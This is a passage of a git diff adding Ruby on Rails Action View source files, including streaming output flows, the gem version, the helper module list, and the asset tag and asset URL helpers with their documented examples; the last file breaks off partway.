+++ b/actionview/lib/action_view/flows.rb
@@ -0,0 +1,76 @@
+require 'active_support/core_ext/string/output_safety'
+
+module ActionView
+ class OutputFlow #:nodoc:
+ attr_reader :content
+
+ def initialize
+ @content = Hash.new { |h,k| h[k] = ActiveSupport::SafeBuffer.new }
+ end
+
+ # Called by _layout_for to read stored values.
+ def get(key)
+ @content[key]
+ end
+
+ # Called by each renderer object to set the layout contents.
+ def set(key, value)
+ @content[key] = value
+ end
+
+ # Called by content_for
+ def append(key, value)
+ @content[key] << value
+ end
+ alias_method :append!, :append
+
+ end
+
+ class StreamingFlow < OutputFlow #:nodoc:
+ def initialize(view, fiber)
+ @view = view
+ @parent = nil
+ @child = view.output_buffer
+ @content = view.view_flow.content
+ @fiber = fiber
+ @root = Fiber.current.object_id
+ end
+
+ # Try to get stored content. If the content
+ # is not available and we are inside the layout
+ # fiber, we set that we are waiting for the given
+ # key and yield.
+ def get(key)
+ return super if @content.key?(key)
+
+ if inside_fiber?
+ view = @view
+
+ begin
+ @waiting_for = key
+ view.output_buffer, @parent = @child, view.output_buffer
+ Fiber.yield
+ ensure
+ @waiting_for = nil
+ view.output_buffer, @child = @parent, view.output_buffer
+ end
+ end
+
+ super
+ end
+
+ # Appends the contents for the given key. This is called
+ # by provides and resumes back to the fiber if it is
+ # the key it is waiting for.
+ def append!(key, value)
+ super
+ @fiber.resume if @waiting_for == key
+ end
+
+ private
+
+ def inside_fiber?
+ Fiber.current.object_id != @root
+ end
+ end
+end
diff --git a/actionview/lib/action_view/gem_version.rb b/actionview/lib/action_view/gem_version.rb
new file mode 100644
index 0000000000..4f45f5b8c8
--- /dev/null
+++ b/actionview/lib/action_view/gem_version.rb
@@ -0,0 +1,15 @@
+module ActionView
+ # Returns the version of the currently loaded Action View as a <tt>Gem::Version</tt>
+ def self.gem_version
+ Gem::Version.new VERSION::STRING
+ end
+
+ module VERSION
+ MAJOR = 5
+ MINOR = 0
+ TINY = 0
+ PRE = "alpha"
+
+ STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+ end
+end
diff --git a/actionview/lib/action_view/helpers.rb b/actionview/lib/action_view/helpers.rb
new file mode 100644
index 0000000000..787e9d67b2
--- /dev/null
+++ b/actionview/lib/action_view/helpers.rb
@@ -0,0 +1,64 @@
+require 'active_support/benchmarkable'
+
+module ActionView #:nodoc:
+ module Helpers #:nodoc:
+ extend ActiveSupport::Autoload
+
+ autoload :ActiveModelHelper
+ autoload :AssetTagHelper
+ autoload :AssetUrlHelper
+ autoload :AtomFeedHelper
+ autoload :CacheHelper
+ autoload :CaptureHelper
+ autoload :ControllerHelper
+ autoload :CsrfHelper
+ autoload :DateHelper
+ autoload :DebugHelper
+ autoload :FormHelper
+ autoload :FormOptionsHelper
+ autoload :FormTagHelper
+ autoload :JavaScriptHelper, "action_view/helpers/javascript_helper"
+ autoload :NumberHelper
+ autoload :OutputSafetyHelper
+ autoload :RecordTagHelper
+ autoload :RenderingHelper
+ autoload :SanitizeHelper
+ autoload :TagHelper
+ autoload :TextHelper
+ autoload :TranslationHelper
+ autoload :UrlHelper
+ autoload :Tags
+
+ def self.eager_load!
+ super
+ Tags.eager_load!
+ end
+
+ extend ActiveSupport::Concern
+
+ include ActiveSupport::Benchmarkable
+ include ActiveModelHelper
+ include AssetTagHelper
+ include AssetUrlHelper
+ include AtomFeedHelper
+ include CacheHelper
+ include CaptureHelper
+ include ControllerHelper
+ include CsrfHelper
+ include DateHelper
+ include DebugHelper
+ include FormHelper
+ include FormOptionsHelper
+ include FormTagHelper
+ include JavaScriptHelper
+ include NumberHelper
+ include OutputSafetyHelper
+ include RecordTagHelper
+ include RenderingHelper
+ include SanitizeHelper
+ include TagHelper
+ include TextHelper
+ include TranslationHelper
+ include UrlHelper
+ end
+end
diff --git a/actionview/lib/action_view/helpers/active_model_helper.rb b/actionview/lib/action_view/helpers/active_model_helper.rb
new file mode 100644
index 0000000000..d5222e3616
--- /dev/null
+++ b/actionview/lib/action_view/helpers/active_model_helper.rb
@@ -0,0 +1,49 @@
+require 'active_support/core_ext/module/attribute_accessors'
+require 'active_support/core_ext/enumerable'
+
+module ActionView
+ # = Active Model Helpers
+ module Helpers
+ module ActiveModelHelper
+ end
+
+ module ActiveModelInstanceTag
+ def object
+ @active_model_object ||= begin
+ object = super
+ object.respond_to?(:to_model) ? object.to_model : object
+ end
+ end
+
+ def content_tag(*)
+ error_wrapping(super)
+ end
+
+ def tag(type, options, *)
+ tag_generate_errors?(options) ? error_wrapping(super) : super
+ end
+
+ def error_wrapping(html_tag)
+ if object_has_errors?
+ Base.field_error_proc.call(html_tag, self)
+ else
+ html_tag
+ end
+ end
+
+ def error_message
+ object.errors[@method_name]
+ end
+
+ private
+
+ def object_has_errors?
+ object.respond_to?(:errors) && object.errors.respond_to?(:[]) && error_message.present?
+ end
+
+ def tag_generate_errors?(options)
+ options['type'] != 'hidden'
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/asset_tag_helper.rb b/actionview/lib/action_view/helpers/asset_tag_helper.rb
new file mode 100644
index 0000000000..b7fdc16a9d
--- /dev/null
+++ b/actionview/lib/action_view/helpers/asset_tag_helper.rb
@@ -0,0 +1,329 @@
+require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/hash/keys'
+require 'action_view/helpers/asset_url_helper'
+require 'action_view/helpers/tag_helper'
+
+module ActionView
+ # = Action View Asset Tag Helpers
+ module Helpers #:nodoc:
+ # This module provides methods for generating HTML that links views to assets such
+ # as images, JavaScripts, stylesheets, and feeds. These methods do not verify
+ # the assets exist before linking to them:
+ #
+ # image_tag("rails.png")
+ # # => <img alt="Rails" src="/assets/rails.png" />
+ # stylesheet_link_tag("application")
+ # # => <link href="/assets/application.css?body=1" media="screen" rel="stylesheet" />
+ module AssetTagHelper
+ extend ActiveSupport::Concern
+
+ include AssetUrlHelper
+ include TagHelper
+
+ # Returns an HTML script tag for each of the +sources+ provided.
+ #
+ # Sources may be paths to JavaScript files. Relative paths are assumed to be relative
+ # to <tt>assets/javascripts</tt>, full paths are assumed to be relative to the document
+ # root. Relative paths are idiomatic, use absolute paths only when needed.
+ #
+ # When passing paths, the ".js" extension is optional. If you do not want ".js"
+ # appended to the path <tt>extname: false</tt> can be set on the options.
+ #
+ # You can modify the HTML attributes of the script tag by passing a hash as the
+ # last argument.
+ #
+ # When the Asset Pipeline is enabled, you can pass the name of your manifest as
+ # source, and include other JavaScript or CoffeeScript files inside the manifest.
+ #
+ # javascript_include_tag "xmlhr"
+ # # => <script src="/assets/xmlhr.js?1284139606"></script>
+ #
+ # javascript_include_tag "template.jst", extname: false
+ # # => <script src="/assets/template.jst?1284139606"></script>
+ #
+ # javascript_include_tag "xmlhr.js"
+ # # => <script src="/assets/xmlhr.js?1284139606"></script>
+ #
+ # javascript_include_tag "common.javascript", "/elsewhere/cools"
+ # # => <script src="/assets/common.javascript?1284139606"></script>
+ # # <script src="/elsewhere/cools.js?1423139606"></script>
+ #
+ # javascript_include_tag "http://www.example.com/xmlhr"
+ # # => <script src="http://www.example.com/xmlhr"></script>
+ #
+ # javascript_include_tag "http://www.example.com/xmlhr.js"
+ # # => <script src="http://www.example.com/xmlhr.js"></script>
+ def javascript_include_tag(*sources)
+ options = sources.extract_options!.stringify_keys
+ path_options = options.extract!('protocol', 'extname').symbolize_keys
+ sources.uniq.map { |source|
+ tag_options = {
+ "src" => path_to_javascript(source, path_options)
+ }.merge!(options)
+ content_tag(:script, "", tag_options)
+ }.join("\n").html_safe
+ end
+
+ # Returns a stylesheet link tag for the sources specified as arguments. If
+ # you don't specify an extension, <tt>.css</tt> will be appended automatically.
+ # You can modify the link attributes by passing a hash as the last argument.
+ # For historical reasons, the 'media' attribute will always be present and defaults
+ # to "screen", so you must explicitly set it to "all" for the stylesheet(s) to
+ # apply to all media types.
+ #
+ # stylesheet_link_tag "style"
+ # # => <link href="/assets/style.css" media="screen" rel="stylesheet" />
+ #
+ # stylesheet_link_tag "style.css"
+ # # => <link href="/assets/style.css" media="screen" rel="stylesheet" />
+ #
+ # stylesheet_link_tag "http://www.example.com/style.css"
+ # # => <link href="http://www.example.com/style.css" media="screen" rel="stylesheet" />
+ #
+ # stylesheet_link_tag "style", media: "all"
+ # # => <link href="/assets/style.css" media="all" rel="stylesheet" />
+ #
+ # stylesheet_link_tag "style", media: "print"
+ # # => <link href="/assets/style.css" media="print" rel="stylesheet" />
+ #
+ # stylesheet_link_tag "random.styles", "/css/stylish"
+ # # => <link href="/assets/random.styles" media="screen" rel="stylesheet" />
+ # # <link href="/css/stylish.css" media="screen" rel="stylesheet" />
+ def stylesheet_link_tag(*sources)
+ options = sources.extract_options!.stringify_keys
+ path_options = options.extract!('protocol').symbolize_keys
+
+ sources.uniq.map { |source|
+ tag_options = {
+ "rel" => "stylesheet",
+ "media" => "screen",
+ "href" => path_to_stylesheet(source, path_options)
+ }.merge!(options)
+ tag(:link, tag_options)
+ }.join("\n").html_safe
+ end
+
+ # Returns a link tag that browsers and feed readers can use to auto-detect
+ # an RSS or Atom feed. The +type+ can either be <tt>:rss</tt> (default) or
+ # <tt>:atom</tt>. Control the link options in url_for format using the
+ # +url_options+. You can modify the LINK tag itself in +tag_options+.
+ #
+ # ==== Options
+ #
+ # * <tt>:rel</tt> - Specify the relation of this link, defaults to "alternate"
+ # * <tt>:type</tt> - Override the auto-generated mime type
+ # * <tt>:title</tt> - Specify the title of the link, defaults to the +type+
+ #
+ # ==== Examples
+ #
+ # auto_discovery_link_tag
+ # # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/action" />
+ # auto_discovery_link_tag(:atom)
+ # # => <link rel="alternate" type="application/atom+xml" title="ATOM" href="http://www.currenthost.com/controller/action" />
+ # auto_discovery_link_tag(:rss, {action: "feed"})
+ # # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/feed" />
+ # auto_discovery_link_tag(:rss, {action: "feed"}, {title: "My RSS"})
+ # # => <link rel="alternate" type="application/rss+xml" title="My RSS" href="http://www.currenthost.com/controller/feed" />
+ # auto_discovery_link_tag(:rss, {controller: "news", action: "feed"})
+ # # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/news/feed" />
+ # auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "Example RSS"})
+ # # => <link rel="alternate" type="application/rss+xml" title="Example RSS" href="http://www.example.com/feed" />
+ def auto_discovery_link_tag(type = :rss, url_options = {}, tag_options = {})
+ if !(type == :rss || type == :atom) && tag_options[:type].blank?
+ raise ArgumentError.new("You should pass :type tag_option key explicitly, because you have passed #{type} type other than :rss or :atom.")
+ end
+
+ tag(
+ "link",
+ "rel" => tag_options[:rel] || "alternate",
+ "type" => tag_options[:type] || Mime::Type.lookup_by_extension(type.to_s).to_s,
+ "title" => tag_options[:title] || type.to_s.upcase,
+ "href" => url_options.is_a?(Hash) ? url_for(url_options.merge(:only_path => false)) : url_options
+ )
+ end
+
+ # Returns a link tag for a favicon managed by the asset pipeline.
+ #
+ # If a page has no link like the one generated by this helper, browsers
+ # ask for <tt>/favicon.ico</tt> automatically, and cache the file if the
+ # request succeeds. If the favicon changes it is hard to get it updated.
+ #
+ # To have better control applications may let the asset pipeline manage
+ # their favicon storing the file under <tt>app/assets/images</tt>, and
+ # using this helper to generate its corresponding link tag.
+ #
+ # The helper gets the name of the favicon file as first argument, which
+ # defaults to "favicon.ico", and also supports +:rel+ and +:type+ options
+ # to override their defaults, "shortcut icon" and "image/x-icon"
+ # respectively:
+ #
+ # favicon_link_tag
+ # # => <link href="/assets/favicon.ico" rel="shortcut icon" type="image/x-icon" />
+ #
+ # favicon_link_tag 'myicon.ico'
+ # # => <link href="/assets/myicon.ico" rel="shortcut icon" type="image/x-icon" />
+ #
+ # Mobile Safari looks for a different link tag, pointing to an image that
+ # will be used if you add the page to the home screen of an iOS device.
+ # The following call would generate such a tag:
+ #
+ # favicon_link_tag 'mb-icon.png', rel: 'apple-touch-icon', type: 'image/png'
+ # # => <link href="/assets/mb-icon.png" rel="apple-touch-icon" type="image/png" />
+ def favicon_link_tag(source='favicon.ico', options={})
+ tag('link', {
+ :rel => 'shortcut icon',
+ :type => 'image/x-icon',
+ :href => path_to_image(source)
+ }.merge!(options.symbolize_keys))
+ end
+
+ # Returns an HTML image tag for the +source+. The +source+ can be a full
+ # path or a file.
+ #
+ # ==== Options
+ #
+ # You can add HTML attributes using the +options+. The +options+ supports
+ # two additional keys for convenience and conformance:
+ #
+ # * <tt>:alt</tt> - If no alt text is given, the file name part of the
+ # +source+ is used (capitalized and without the extension)
+ # * <tt>:size</tt> - Supplied as "{Width}x{Height}" or "{Number}", so "30x45" becomes
+ # width="30" and height="45", and "50" becomes width="50" and height="50".
+ # <tt>:size</tt> will be ignored if the value is not in the correct format.
+ #
+ # ==== Examples
+ #
+ # image_tag("icon")
+ # # => <img alt="Icon" src="/assets/icon" />
+ # image_tag("icon.png")
+ # # => <img alt="Icon" src="/assets/icon.png" />
+ # image_tag("icon.png", size: "16x10", alt: "Edit Entry")
+ # # => <img src="/assets/icon.png" width="16" height="10" alt="Edit Entry" />
+ # image_tag("/icons/icon.gif", size: "16")
+ # # => <img src="/icons/icon.gif" width="16" height="16" alt="Icon" />
+ # image_tag("/icons/icon.gif", height: '32', width: '32')
+ # # => <img alt="Icon" height="32" src="/icons/icon.gif" width="32" />
+ # image_tag("/icons/icon.gif", class: "menu_icon")
+ # # => <img alt="Icon" class="menu_icon" src="/icons/icon.gif" />
+ def image_tag(source, options={})
+ options = options.symbolize_keys
+
+ src = options[:src] = path_to_image(source)
+
+ unless src =~ /^(?:cid|data):/ || src.blank?
+ options[:alt] = options.fetch(:alt){ image_alt(src) }
+ end
+
+ options[:width], options[:height] = extract_dimensions(options.delete(:size)) if options[:size]
+ tag("img", options)
+ end
+
+ # Returns a string suitable for an HTML image tag alt attribute.
+ # The +src+ argument is meant to be an image file path.
+ # The method removes the basename of the file path and the digest,
+ # if any. It also removes hyphens and underscores from file names and
+ # replaces them with spaces, returning a space-separated, titleized
+ # string.
+ #
+ # ==== Examples
+ #
+ # image_alt('rails.png')
+ # # => Rails
+ #
+ # image_alt('hyphenated-file-name.png')
+ # # => Hyphenated file name
+ #
+ # image_alt('underscored_file_name.png')
+ # # => Underscored file name
+ def image_alt(src)
+ File.basename(src, '.*').sub(/-[[:xdigit:]]{32}\z/, '').tr('-_', ' ').capitalize
+ end
+
+ # Returns an HTML video tag for the +sources+. If +sources+ is a string,
+ # a single video tag will be returned. If +sources+ is an array, a video
+ # tag with nested source tags for each source will be returned. The
+ # +sources+ can be full paths or files that exists in your public videos
+ # directory.
+ #
+ # ==== Options
+ # You can add HTML attributes using the +options+. The +options+ supports
+ # two additional keys for convenience and conformance:
+ #
+ # * <tt>:poster</tt> - Set an image (like a screenshot) to be shown
+ # before the video loads. The path is calculated like the +src+ of +image_tag+.
+ # * <tt>:size</tt> - Supplied as "{Width}x{Height}" or "{Number}", so "30x45" becomes
+ # width="30" and height="45", and "50" becomes width="50" and height="50".
+ # <tt>:size</tt> will be ignored if the value is not in the correct format.
+ #
+ # ==== Examples
+ #
+ # video_tag("trailer")
+ # # => <video src="/videos/trailer"></video>
+ # video_tag("trailer.ogg")
+ # # => <video src="/videos/trailer.ogg"></video>
+ # video_tag("trailer.ogg", controls: true, autobuffer: true)
+ # # => <video autobuffer="autobuffer" controls="controls" src="/videos/trailer.ogg" ></video>
+ # video_tag("trailer.m4v", size: "16x10", poster: "screenshot.png")
+ # # => <video src="/videos/trailer.m4v" width="16" height="10" poster="/assets/screenshot.png"></video>
+ # video_tag("/trailers/hd.avi", size: "16x16")
+ # # => <video src="/trailers/hd.avi" width="16" height="16"></video>
+ # video_tag("/trailers/hd.avi", size: "16")
+ # # => <video height="16" src="/trailers/hd.avi" width="16"></video>
+ # video_tag("/trailers/hd.avi", height: '32', width: '32')
+ # # => <video height="32" src="/trailers/hd.avi" width="32"></video>
+ # video_tag("trailer.ogg", "trailer.flv")
+ # # => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+ # video_tag(["trailer.ogg", "trailer.flv"])
+ # # => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+ # video_tag(["trailer.ogg", "trailer.flv"], size: "160x120")
+ # # => <video height="120" width="160"><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+ def video_tag(*sources)
+ multiple_sources_tag('video', sources) do |options|
+ options[:poster] = path_to_image(options[:poster]) if options[:poster]
+ options[:width], options[:height] = extract_dimensions(options.delete(:size)) if options[:size]
+ end
+ end
+
+ # Returns an HTML audio tag for the +source+.
+ # The +source+ can be full path or file that exists in
+ # your public audios directory.
+ #
+ # audio_tag("sound")
+ # # => <audio src="/audios/sound"></audio>
+ # audio_tag("sound.wav")
+ # # => <audio src="/audios/sound.wav"></audio>
+ # audio_tag("sound.wav", autoplay: true, controls: true)
+ # # => <audio autoplay="autoplay" controls="controls" src="/audios/sound.wav"></audio>
+ # audio_tag("sound.wav", "sound.mid")
+ # # => <audio><source src="/audios/sound.wav" /><source src="/audios/sound.mid" /></audio>
+ def audio_tag(*sources)
+ multiple_sources_tag('audio', sources)
+ end
+
+ private
+ def multiple_sources_tag(type, sources)
+ options = sources.extract_options!.symbolize_keys
+ sources.flatten!
+
+ yield options if block_given?
+
+ if sources.size > 1
+ content_tag(type, options) do
+ safe_join sources.map { |source| tag("source", :src => send("path_to_#{type}", source)) }
+ end
+ else
+ options[:src] = send("path_to_#{type}", sources.first)
+ content_tag(type, nil, options)
+ end
+ end
+
+ def extract_dimensions(size)
+ if size =~ %r{\A\d+x\d+\z}
+ size.split('x')
+ elsif size =~ %r{\A\d+\z}
+ [size, size]
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/asset_url_helper.rb b/actionview/lib/action_view/helpers/asset_url_helper.rb
new file mode 100644
index 0000000000..29733442c1
--- /dev/null
+++ b/actionview/lib/action_view/helpers/asset_url_helper.rb
@@ -0,0 +1,366 @@
+require 'zlib'
+
+module ActionView
+ # = Action View Asset URL Helpers
+ module Helpers
+ # This module provides methods for generating asset paths and
+ # urls.
+ #
+ # image_path("rails.png")
+ # # => "/assets/rails.png"
+ #
+ # image_url("rails.png")
+ # # => "http://www.example.com/assets/rails.png"
+ #
+ # === Using asset hosts
+ #
+ # By default, Rails links to these assets on the current host in the public
+ # folder, but you can direct Rails to link to assets from a dedicated asset
+ # server by setting <tt>ActionController::Base.asset_host</tt> in the application
+ # configuration, typically in <tt>config/environments/production.rb</tt>.
+ # For example, you'd define <tt>assets.example.com</tt> to be your asset
+ # host this way, inside the <tt>configure</tt> block of your environment-specific
+ # configuration files or <tt>config/application.rb</tt>:
+ #
+ # config.action_controller.asset_host = "assets.example.com"
+ #
+ # Helpers take that into account:
+ #
+ # image_tag("rails.png")
+ # # => <img alt="Rails" src="http://assets.example.com/assets/rails.png" />
+ # stylesheet_link_tag("application")
+ # # => <link href="http://assets.example.com/assets/application.css" media="screen" rel="stylesheet" />
+ #
+ # Browsers typically open at most two simultaneous connections to a single
+ # host, which means your assets often have to wait for other assets to finish
+ # downloading. You can alleviate this by using a <tt>%d</tt> wildcard in the
+ # +asset_host+. For example, "assets%d.example.com". If that wildcard is
+ # present Rails distributes asset requests among the corresponding four hosts
+ # "assets0.example.com", ..., "assets3.example.com". With this trick browsers
+ # will open eight simultaneous connections rather than two.
+ #
+ # image_tag("rails.png")
+ # # => <img alt="Rails" src="http://assets0.example.com/assets/rails.png" />
+ # stylesheet_link_tag("application")
+ # # => <link href="http://assets2.example.com/assets/application.css" media="screen" rel="stylesheet" />
+ #
+ # To do this, you can either setup four actual hosts, or you can use wildcard
+ # DNS to CNAME the wildcard to a single asset host. You can read more about
+ # setting up your DNS CNAME records from your ISP.
+ #
+ # Note: This is purely a browser performance optimization and is not meant
+ # for server load balancing. See http://www.die.net/musings/page_load_time/
+ # for background.
+ #
+ # Alternatively, you can exert more control over the asset host by setting
+ # +asset_host+ to a proc like this:
+ #
+ # ActionController::Base.asset_host = Proc.new { |source|
+ # "http://assets#{Digest::MD5.hexdigest(source).to_i(16) % 2 + 1}.example.com"
+ # }
+ # image_tag("rails.png")
+ # # => <img alt="Rails" src="http://assets1.example.com/assets/rails.png" />
+ # stylesheet_link_tag("application")
+ # # => <link href="http://assets2.example.com/assets/application.css" media="screen" rel="stylesheet" />
+ #
+ # The example above generates "http://assets1.example.com" and
+ # "http://assets2.example.com". This option is useful for example if
+ # you need fewer/more than four hosts, custom host names, etc.
+ #
+ # As you see the proc takes a +source+ parameter. That's a string with the
+ # absolute path of the asset, for example "/assets/rails.png".
+ #
+ # ActionController::Base.asset_host = Proc.new { |source|
+ # if source.ends_with?('.css')
+ # "http://stylesheets.example.com"
+ # else
+ # "http://assets.example.com"
+ # end
+ # }
+ # image_tag("rails.png")
+ # # => <img alt="Rails" src="http://assets.example.com/assets/rails.png" />
+ # stylesheet_link_tag("application")
+ # # => <link href="http://stylesheets.example.com/assets/application.css" media="screen" rel="stylesheet" />
+ #
+ # Alternatively you may ask for a second parameter +request+. That one is
+ # particularly useful for serving assets from an SSL-protected page. The
+ # example proc below disables asset hosting for HTTPS connections, while
+ # still sending assets for plain HTTP requests from asset hosts. If you don't
+ # have SSL certificates for each of the asset hosts this technique allows you
+ # to avoid warnings in the client about mixed media.
+ # Note that the request parameter might not be supplied, e.g. when the assets
+ # are precompiled via a Rake task. Make sure to use a Proc instead of a lambda,
+ # since a Proc allows missing parameters and sets them to nil.
+ #
+ # config.action_controller.asset_host = Proc.new { |source, request|
+ # if request && request.ssl?
+ # "#{request.protocol}#{request.host_with_port}"
+ # else
+ # "#{request.protocol}assets.example.com"
+ # end
+ # }
+ #
+ # You can also implement a custom asset host object that responds to +call+
+ # and takes either one or two parameters just like the proc.
+ #
+ # config.action_controller.asset_host = AssetHostingWithMinimumSsl.new(
+ # "http://asset%d.example.com", "https://asset1.example.com"
+ # )
+ #
+ module AssetUrlHelper
+ URI_REGEXP = %r{^[-a-z]+://|^(?:cid|data):|^//}i
+
+ # Computes the path to asset in public directory. If :type
+ # options is set, a file extension will be appended and scoped
+ # to the corresponding public directory.
+ #
+ # All other asset *_path helpers delegate through this method.
+ #
+ # asset_path "application.js" # => /assets/application.js
+ # asset_path "application", type: :javascript # => /assets/application.js
+ # asset_path "application", type: :stylesheet # => /assets/application.css
+ # asset_path "http://www.example.com/js/xmlhr.js" # => http://www.example.com/js/xmlhr.js
+ def asset_path(source, options = {})
+ source = source.to_s
+ return "" unless source.present?
+ return source if source =~ URI_REGEXP
+
+ tail, source = source[/([\?#].+)$/], source.sub(/([\?#].+)$/, '')
+
+ if extname = compute_asset_extname(source, options)
+ source = "#{source}#{extname}"
+ end
+
+ if source[0] != ?/
+ source = compute_asset_path(source, options)
+ end
+
+ relative_url_root = defined?(config.relative_url_root) && config.relative_url_root
+ if relative_url_root
+ source = File.join(relative_url_root, source) unless source.starts_with?("#{relative_url_root}/")
+ end
+
+ if host = compute_asset_host(source, options)
+ source = File.join(host, source)
+ end
+
+ "#{source}#{tail}"
+ end
+ alias_method :path_to_asset, :asset_path # aliased to avoid conflicts with an asset_path named route
+
+ # Computes the full URL to an asset in the public directory. This
+ # will use +asset_path+ internally, so most of their behaviors
+ # will be the same. If :host options is set, it overwrites global
+ # +config.action_controller.asset_host+ setting.
+ #
+ # All other options provided are forwarded to +asset_path+ call.
+ #
+ # asset_url "application.js" # => http://example.com/assets/application.js
+ # asset_url "application.js", host: "http://cdn.example.com" # => http://cdn.example.com/assets/application.js
+ #
+ def asset_url(source, options = {})
+ path_to_asset(source, options.merge(:protocol => :request))
+ end
+ alias_method :url_to_asset, :asset_url # aliased to avoid conflicts with an asset_url named route
+
+ ASSET_EXTENSIONS = {
+ javascript: '.js',
+ stylesheet: '.css'
+ }
+
+ # Compute extname to append to asset path. Returns nil if
+ # nothing should be added.
+ def compute_asset_extname(source, options = {})
+ return if options[:extname] == false
+ extname = options[:extname] || ASSET_EXTENSIONS[options[:type]]
+ extname if extname && File.extname(source) != extname
+ end
+
+ # Maps asset types to public directory.
+ ASSET_PUBLIC_DIRECTORIES = {
+ audio: '/audios',
+ font: '/fonts',
+ image: '/images',
+ javascript: '/javascripts',
+ stylesheet: '/stylesheets',
+ video: '/videos'
+ }
+
+ # Computes asset path to public directory. Plugins and
+ # extensions can override this method to point to custom assets
+ # or generate digested paths or query strings.
+ def compute_asset_path(source, options = {})
+ dir = ASSET_PUBLIC_DIRECTORIES[options[:type]] || ""
+ File.join(dir, source)
+ end
+
+ # Pick an asset host for this source. Returns +nil+ if no host is set,
+ # the host if no wildcard is set, the host interpolated with the
+ # numbers 0-3 if it contains <tt>%d</tt> (the number is the source hash mod 4),
+ # or the value returned from invoking call on an object responding to call
+ # (proc or otherwise).
+ def compute_asset_host(source = "", options = {})
+ request = self.request if respond_to?(:request)
+ host = options[:host]
+ host ||= config.asset_host if defined? config.asset_host
+
+ if host.respond_to?(:call)
+ arity = host.respond_to?(:arity) ? host.arity : host.method(:call).arity
+ args = [source]
+ args << request if request && (arity > 1 || arity < 0)
+ host = host.call(*args)
+ elsif host =~ /%d/
+ host = host % (Zlib.crc32(source) % 4)
+ end
+
+ host ||= request.base_url if request && options[:protocol] == :request
+ return unless host
+
+ if host =~ URI_REGEXP
+ host
+ else
+ protocol = options[:protocol] || config.default_asset_host_protocol || (request ? :request : :relative)
+ case protocol
+ when :relative
+ "//#{host}"
+ when :request
+ "#{request.protocol}#{host}"
+ else
+ "#{protocol}://#{host}"
+ end
+ end
+ end
+
+ # Computes the path to a JavaScript asset in the public javascripts directory.
+ # If the +source+ filename has no extension, .js will be appended (except for explicit URIs)
+ # Full paths from the document root will be passed through.
+ # Used internally by +javascript_include_tag+ to build the script path.
+ #
+ # javascript_path "xmlhr" # => /assets/xmlhr.js
+ # javascript_path "dir/xmlhr.js" # => /assets/dir/xmlhr.js
+ # javascript_path "/dir/xmlhr" # => /dir/xmlhr.js
+ # javascript_path "http://www.example.com/js/xmlhr" # => http://www.example.com/js/xmlhr
+ # javascript_path "http://www.example.com/js/xmlhr.js" # => http://www.example.com/js/xmlhr.js
+ def javascript_path(source, options = {})
+ path_to_asset(source, {type: :javascript}.merge!(options))
+ end
+ alias_method :path_to_javascript, :javascript_path # aliased to avoid conflicts with a javascript_path named route
+
+ # Computes the full URL to a JavaScript asset in the public javascripts directory.
+ # This will use +javascript_path+ internally, so most of their behaviors will be the same.
+ def javascript_url(source, options = {})
+ url_to_asset(source, {type: :javascript}.merge!(options))
+ end
+ alias_method :url_to_javascript, :javascript_url # aliased to avoid conflicts with a javascript_url named route
+
+ # Computes the path to a stylesheet asset in the public stylesheets directory.
+ # If the +source+ filename has no extension, .css will be appended (except for explicit URIs).
+ # Full paths from the document root will be passed through.
+ # Used internally by +stylesheet_link_tag+ to build the stylesheet path.
+ #
+ # stylesheet_path "style" # => /assets/style.css
+ # stylesheet_path "dir/style.css" # => /assets/dir/style.css
+ # stylesheet_path "/dir/style.css" # => /dir/style.css
+ # stylesheet_path "http://www.example.com/css/style" # => http://www.example.com/css/style
+ # stylesheet_path "http://www.example.com/css/style.css" # => http://www.example.com/css/style.css
+ def stylesheet_path(source, options = {})
+ path_to_asset(source, {type: :stylesheet}.merge!(options))
+ end
+ alias_method :path_to_stylesheet, :stylesheet_path # aliased to avoid conflicts with a stylesheet_path named route
+
+ # Computes the full URL to a stylesheet asset in the public stylesheets directory.
+ # This will use +stylesheet_path+ internally, so most of their behaviors will be the same.
+ def stylesheet_url(source, options = {})
+ url_to_asset(source, {type: :stylesheet}.merge!(options))
+ end
+ alias_method :url_to_stylesheet, :stylesheet_url # aliased to avoid conflicts with a stylesheet_url named route
+
+ # Computes the path to an image asset.
+ # Full paths from the document root will be passed through.
+ # Used internally by +image_tag+ to build the image path:
+ #
+ # image_path("edit") # => "/assets/edit"
+ # image_path("edit.png") # => "/assets/edit.png"
+ # image_path("icons/edit.png") # => "/assets/icons/edit.png"
+ # image_path("/icons/edit.png") # => "/icons/edit.png"
+ # image_path("http://www.example.com/img/edit.png") # => "http://www.example.com/img/edit.png"
+ #
+ # If you have images as application resources this method may conflict with their named routes.
+ # The alias +path_to_image+ is provided to avoid that. Rails uses the alias internally, and
+ # plugin authors are encouraged to do so.
+ def image_path(source, options = {})
+ path_to_asset(source, {type: :image}.merge!(options))
+ end
+ alias_method :path_to_image, :image_path # aliased to avoid conflicts with an image_path named route
+
+ # Computes the full URL to an image asset.
+ # This will use +image_path+ internally, so most of their behaviors will be the same.
+ def image_url(source, options = {})
+ url_to_asset(source, {type: :image}.merge!(options))
+ end
+ alias_method :url_to_image, :image_url # aliased to avoid conflicts with an image_url named route
+
+ # Computes the path to a video asset in the public videos directory.
+ # Full paths from the document root will be passed through.
+ # Used internally by +video_tag+ to build the video path.
+ #
+ # video_path("hd") # => /videos/hd
+ # video_path("hd.avi") # => /videos/hd.avi
+ # video_path("trailers/hd.avi") # => /videos/trailers/hd.avi
+ # video_path("/trailers/hd.avi") # => /trailers/hd.avi
+ # video_path("http://www.example.com/vid/hd.avi") # => http://www.example.com/vid/hd.avi
+ def video_path(source, options = {})
+ path_to_asset(source, {type: :video}.merge!(options))
+ end
+ alias_method :path_to_video, :video_path # aliased to avoid conflicts with a video_path named route
+
+ # Computes the full URL to a video asset in the public videos directory.
+ # This will use +video_path+ internally, so most of their behaviors will be the same.
+ def video_url(source, options = {})
+ url_to_asset(source, {type: :video}.merge!(options))
+ end
+ alias_method :url_to_video, :video_url # aliased to avoid conflicts with an video_url named route
+
